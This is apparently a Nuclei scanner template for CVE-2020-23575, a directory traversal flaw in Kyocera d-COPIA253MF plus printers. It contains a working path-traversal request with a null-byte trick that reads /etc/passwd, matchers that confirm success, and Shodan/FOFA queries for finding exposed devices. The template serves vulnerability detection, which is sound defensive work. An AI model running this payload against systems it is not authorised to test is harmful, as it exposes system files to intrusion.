id: CVE-2020-23575

info:
  name: Kyocera Printer d-COPIA253MF - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Kyocera Printer d-COPIA253MF plus is susceptible to a directory traversal vulnerability which could allow an attacker to retrieve or view arbitrary files from the affected server.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Apply the latest firmware update provided by Kyocera to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48561
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23575
    - https://www.kyoceradocumentsolutions.com.tr/tr.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-23575
    cwe-id: CWE-22
    epss-score: 0.86506
    epss-percentile: 0.99426
    cpe: cpe:2.3:o:kyocera:d-copia253mf_plus_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kyocera
    product: d-copia253mf_plus_firmware
    shodan-query: http.favicon.hash:-50306417
    fofa-query: icon_hash=-50306417
  tags: cve2020,cve,printer,iot,lfi,edb,kyocera,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:.*:0:0:"
          - "bin:.*:1:1"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100849cf44364a77d4cef0a23074ac5290d2fcb6277fe3d07b07d8ebf336115991402205d892e2e5aecdb3f9e43b21a7b9d11370cfa1e46de54d12a080da54ce9d59ae8:922c64590222798bb761d5b6d8e72950